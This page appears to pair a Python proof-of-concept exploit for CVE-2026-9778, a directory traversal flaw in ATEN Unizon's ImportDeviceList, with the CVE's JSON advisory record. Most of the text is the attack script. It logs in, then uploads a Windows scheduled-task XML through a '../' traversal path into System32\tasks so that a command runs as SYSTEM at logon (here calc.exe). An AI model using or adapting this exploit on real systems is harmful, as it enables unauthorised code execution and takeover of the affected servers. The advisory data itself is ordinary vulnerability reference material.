CVE-2026-9778

# CVE-2026-9778 - ATEN Unizon ImportDeviceList Directory Traversal RCE PoC # ZDI-CAN-28579 / ZDI-26-382 # Note: Authentication is required (PR:H) import requests import sys TARGET_URL = "https://target-aten-unizon:8443" USERNAME = "admin" PASSWORD = "password123" # Step 1: Authenticate to obtain a valid session session = requests.Session() login_url = f"{TARGET_URL}/api/login" login_payload = { "username": USERNAME, "password": PASSWORD } response = session.post(login_url, json=login_payload, verify=False) if response.status_code != 200: print("[-] Authentication failed") sys.exit(1) print("[+] Authentication successful") # Step 2: Exploit directory traversal in ImportDeviceList # The malicious path uses ../ sequences to traverse out of the expected directory # and write a payload to a system-writable location import_url = f"{TARGET_URL}/api/devices/import" # Malicious path traversing to system startup or scheduled task directory # On Windows: ../../../../../../Windows/System32/tasks # The traversal allows writing arbitrary files outside the intended directory malicious_path = "../../../../../../Windows/System32/tasks/malicious_task.xml" # Payload containing a reverse shell or arbitrary command payload_content = """<?xml version="1.0" encoding="UTF-16"?> <Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task"> <RegistrationInfo> <Description>Malicious Task</Description> </RegistrationInfo> <Triggers> <LogonTrigger> <Enabled>true</Enabled> </LogonTrigger> </Triggers> <Principals> <Principal id="Author"> <UserId>S-1-5-18</UserId> <RunLevel>HighestAvailable</RunLevel> </Principal> </Principals> <Settings> <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy> <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries> <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries> <AllowHardTerminate>true</AllowHardTerminate> <StartWhenAvailable>false</StartWhenAvailable> <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable> <IdleSettings> <StopOnIdleEnd>true</StopOnIdleEnd> <RestartOnIdle>false</RestartOnIdle> </IdleSettings> <AllowStartOnDemand>true</AllowStartOnDemand> <Enabled>true</Enabled> <Hidden>false</Hidden> <RunOnlyIfIdle>false</RunOnlyIfIdle> <WakeToRun>false</WakeToRun> <ExecutionTimeLimit>PT0S</ExecutionTimeLimit> <Priority>5</Priority> </Settings> <Actions Context="Author"> <Exec> <Command>cmd.exe</Command> <Arguments>/c calc.exe</Arguments> </Exec> </Actions> </Task>""" # Craft the multipart form data with the traversal path files = { "file": ("device_list.xml", payload_content, "application/xml") } data = { "path": malicious_path # Directory traversal payload } response = session.post(import_url, files=files, data=data, verify=False) if response.status_code == 200: print("[+] Exploit sent successfully") print("[+] Malicious file written via directory traversal") print("[+] Code execution achieved in SYSTEM context") else: print(f"[-] Exploit failed with status code: {response.status_code}") print(f"[-] Response: {response.text}")

{"cve": {"id": "CVE-2026-9778", "sourceIdentifier": "[email protected]", "published": "2026-06-24T22:16:50.483", "lastModified": "2026-06-25T14:23:56.107", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "ATEN Unizon ImportDeviceList Directory Traversal Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of ATEN Unizon. Authentication is required to exploit this vulnerability.\n\nThe specific flaw exists within the ImportDeviceList method. The issue results from the lack of proper validation of a user-supplied path prior to using it in file operations. An attacker can leverage this vulnerability to execute code in the context of SYSTEM. Was ZDI-CAN-28579."}], "affected": [{"source": "[email protected]", "affectedData": [{"vendor": "ATEN", "product": "Unizon", "defaultStatus": "unknown", "versions": [{"version": "2.7.262.002", "status": "affected"}]}]}], "metrics": {"cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}], "ssvcV203": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "ssvcData": {"timestamp": "2026-06-25T12:50:30.943053Z", "id": "CVE-2026-9778", "options": [{"exploitation": "none"}, {"automatable": "no"}, {"technicalImpact": "total"}], "role": "CISA Coordinator", "version": "2.0.3"}}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "references": [{"url": "https://www.aten.com/global/en/supportcenter/info/security-advisory/31/", "source": "[email protected]"}, {"url": "https://www.zerodayinitiative.com/advisories/ZDI-26-382/", "source": "[email protected]"}]}}